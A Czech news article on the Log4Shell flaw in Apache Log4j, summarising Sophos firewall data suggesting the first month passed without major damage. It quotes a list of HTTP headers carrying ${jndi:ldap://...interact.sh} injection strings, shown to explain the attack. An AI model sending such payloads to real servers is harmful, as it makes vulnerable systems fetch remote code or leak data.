Je to dobré, kritická chyba v Log4j zatím svět nezničila. Sophos se chlubí daty z firewallů

Krátce před Vánocemi mnozí správci sítí a informačních systémů s hrůzou sledovali, co by všechno mohla napáchat zranitelnost v Apache Log4jLog4Shell. Jedná se totiž o velmi populární knihovnu pro Javu, která se stará o logování libovolných aplikačních událostí.

A jelikož je Java klíčovou platformou v podnikových a serverových aplikací, zareagoval tehdy i tuzemský NÚKIB a vydal nařízení pro českou kritickou infrastrukturu.

Ahoj knihovno, pošli mi heslo na server

Útočník mohl napadnout zranitelný systém třeba v případech, když Log4j používal k logování veřejný webový server. Za běžných okolností by server při požadavku na stránku X zapsal do logu třeba neškodnou zprávu: Klient z IP adresy Y chce stránku X.

Klepněte pro větší obrázek
Příklad zneužití chyby v Log4j.  Vložením speciálních instrukcí do hlaviček HTTP se při Log4j při logování splete, tyto instrukce skutečně zpracuje a třeba předá citlivé údaje nějakému třetímu záškodnickému serveru (Sophos)

Záškodník nicméně do webového požadavku na stránku – typicky třeba do textových hlaviček protokolu HTTP – mohl umístit speciální textový řetězec s klíčovými příkazy, které zranitelná verze knihovny Log4j zpracovala. Přitom je měla ignorovat jako prostý text.

Jednalo se tedy o formu zranitelností typu injection, kterých jsme měli v minulosti celou řadu. Třeba SQL injection, ve kterém zase zranitelný server/skriptovací engine interpretuje část URL jako SQL dotaz do databáze.

Útočník pak v lepším případě jen vtipně pozmění titulek a text článku na zranitelné publikační platformě, anebo v tom nejhorším získá celý výpis databáze včetně uživatelských účtů.

Příklady injektáže kódu do hlaviček HTTP, které by zpracovala zranitelná verze logovací knihovny Log4j, pokud by byla nasazená na HTTP serveru: 

referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},

Zdá se, že nás Log4Shell zatím nezničil

Vzhledem k masivnímu nasazení knihovny Log4j v podnikových aplikacích postavených na Javě tuto chybu ostře sledovali prakticky všichni bezpečnostní experti.

Útok na internetové a intranetové systémy třeba velké firmy s podobnou chybou by totiž byl přirozeně mnohem lákavější, než pokus o průnik do domácí sítě rodiny Michlovských, kde byste na rodinném NASu našli leda tak pirátské kopie pořadu Týden Živě.

Klepněte pro větší obrázek
Zaznamenané pokusy o zneužití Log4j firewally Sophos XG (Sophos)

Případu se proto věnoval i hlavní bezpečnostní analytik ze společnosti Sophos, Chester Wisniewski, který nasbíral hromadu dat na podnikových firewallech a nyní se s nimi pochlubil na webu. A co zjistil? Je to dobré, první měsíc jsme přežili bez větší úhony a organizace po celém větě se nezhroutily.

Chyba byla závažná, a tak se dočkala publicity

Podle Chestera za to může mimo jiné právě i závažnost chyby, a tak se do hry ve velkém zapojily jak bezpečnostní organizace jednotlivých států (zmíněný NÚKIB), tak velké infrastrukturální kolosy jako Microsoft a další.

Klepněte pro větší obrázekKlepněte pro větší obrázek
Zdroje útoků v závěru roku a v lednu  (Sophos)

Přesto to však podle specialistů neznamená, že je zranitelnost s přezdívkou Log4Shell minulostí. Naopak bude v různých modifikacích přežívat dál celé roky jako mnohé další malwary minulosti a stane se součástí mnoha dalších útočných kampaní a botů, které to budou zkoušet den za dnem.

Klepněte pro větší obrázek
Cíle odpovědí, tedy kam po útoku zranitelný systém odesílal data. Podle Sophosu to mohou být přijímače útočníků ve velkých datových centrech, stejně tak to ale mohou být white-hat hackeři – lidé, co odhaluji chyby třeba v programech bug bounty  (Sophos)

Skutečnost, že kritická infrastruktura internetu zareagovala rychle, totiž neznamená, že tu mezi námi nezůstávají tisíce a tisíce malých a napadnutelných subjektů. Nemusí to totiž být hned aplikace banky, ale třeba nějaký ten neaktualizovaný NAS připojený do internetu, který taktéž používá Log4j.

Diskuze (1) Další článek: Subvarianta omikronu BA.2 znepokojuje epidemiology. V Dánsku už tvoří skoro polovinu případů

Témata článku: Microsoft, Internet, Bezpečnost, Malware, Java, Únik dat, Firewall, NÚKIB, SQL Injection, Sophos, Chyba, Bounty, Chester, Kritická chyba, Data, Apache, Knihovna